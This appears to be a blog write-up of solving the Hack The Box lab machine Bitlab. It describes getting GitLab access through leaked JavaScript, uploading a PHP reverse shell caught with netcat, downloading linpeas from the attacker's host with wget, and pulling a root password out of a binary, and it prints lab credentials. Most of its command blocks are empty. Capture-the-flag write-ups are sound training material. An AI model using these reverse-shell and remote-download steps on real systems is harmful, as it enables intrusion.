Hello,
Here’s how I’ve solved the Bitlab machine on Hack The Box.
Gitlab Access
As usual we start of with a nmap scan:
|
|
The scan shows an nginx web server and ssh. If we visit the web server we’ll find a Gitlab instance. Gitlab is used by developers to host their source code. I tried searching for exploits but nothing came up.
Poking around the Gitlab page, if we navigate to the Help, we’ll find an bookmark which is obfuscated javascript code. We can copy the code, go back to Gilab’s login page and paste the JS into our dev console. The JS auto completes the login info and we get access to the Gitlab as the Developer.
|
|
Credentials: clave:11des0081x
Initial Shell
As the developer we find two code repos, Profile and Deploy. We only care about the Profile one, any edits we make to the repo get reflected in the http://10.10.10.114/profile page, because Gitlab auto deploy is configured that way.
Next, we can upload a [php-reverse shell ](https://github.com/flozz/p0wny-shell)and gain a TCP shell over netcat:On my attacking machine I run nc -nvlp 8080 and on the php reverse shell we run:
|
|
After I get the shell over netcat I turn it into a pty shell with the following command:
|
|
I managed to transfer Linpeas by running python -m SimpleHTTPServer 8080 on my attacking machine in the linpeas directory and wget MY_IP/linpeas.sh on the victim machine.
User Shell
Linpeas spit some interesting output but nothing practical came out of it. So I went back to Gitlab and browsed into the snippets section.
There’s a script which leaks the password, ip and username of the profiles database. We can use that to query the database by ourselves by running this in the terminal:
|
|
We login via ssh as clave and password: c3NoLXN0cjBuZy1wQHNz==.
On Clave’s home dir we find a binary called RemoteConnection.exe, we can transfer that to our attacking machine by using the following commands:
|
|
Root Shell
The root shell is gained by reversing the binary we extracted. Reversing is a bit much as we only need to step through it in the debugger. For debugging I’ve used x64dbg.
We can copy the root password from the debugger and voila, we got root.
|
|
Conclusions
Bitlab was an easyish machine but with some weird decisions, for example Clave’s password was hidden as JS in the Help page of the Gitlab instance ???
The PHP auto-deploy was nice and the reversing part was kinda unnecessary, it woulda been much nicer if the reversing were more statically focused rather than dynamic.
Thanks for reading and have a great day! <3